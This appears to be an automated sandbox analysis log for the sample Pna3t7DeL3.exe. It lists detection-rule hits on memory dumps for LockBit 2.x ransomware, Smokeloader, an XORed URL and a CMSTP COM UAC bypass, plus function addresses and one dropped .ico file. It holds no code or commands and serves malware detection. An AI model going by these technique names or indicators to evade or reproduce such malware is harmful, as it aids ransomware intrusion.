Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File created: C:\windows\SysWOW64\8E5BB0.ico

Jump to behavior

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00497060
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B870
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC870
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB140
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045C960
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458930
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C29A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8A00
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7A30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A62F0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4B60
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA300
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BEB10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BABA0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9C40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004AAC10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0045BD40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049EDC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A0DC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A8590
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C1E40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00499660
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457E70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A2EC0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A5E80
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A7F10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A4FE0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00458FF0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BFF90
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BA7B0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452040
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453860
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00431030
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BB8C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C38C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042E8D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044D8D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004468A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B58A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D38A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DB8B0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00441140
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD940
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044C150
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00444950
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00443160
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC100
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9110
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042C130
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049B1C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0041A1D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042F1D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004959D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E09D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004169E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0049A1E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00453180
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC980
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CF180
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0044FA70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C7270
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00457200
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D7200
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00430210
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043E220
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042EA30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B1A30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B7230
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C9A80
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043C290
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BDB70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004ACB00
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B9300
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DF310
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CC3E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043BBF0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BC380
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004CD3B0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0042E440
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B6C60
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043DC70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004A9470
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C6C70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_0043CC30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C3430
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004D0C30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004304C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004C44D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004E04D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00450480
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_00452D40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004BE540
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DFD40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004DC540
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 0_2_004B8D70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B58A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BB140
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B1A30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BC380
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BABA0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B9C40
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BFF90
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B5FA0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00452040
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00453860
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00497060
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049B870
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BC870
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00431030
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BB8C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C38C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042E8D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0044D8D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004468A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D38A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004DB8B0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00441140
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CD940
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0044C150
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00444950
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00443160
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0045C960
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CC100
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A9110
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042C130
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00458930
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049B1C0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0041A1D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042F1D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004959D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004E09D0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004169E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0049A1E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00453180
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CC980
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CF180
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C29A0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0044FA70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C7270
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00457200
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A8A00
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004D7200
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_00430210
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043E220
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042EA30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A7A30
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B7230
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A62F0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C9A80
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043C290
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A4B60
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BDB70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004ACB00
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BA300
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B9300
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004BEB10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004DF310
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CC3E0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043BBF0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004CD3B0
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0042E440
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004B6C60
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043DC70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004A9470
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004C6C70
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_004AAC10
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	Code function: 10_2_0043CC30
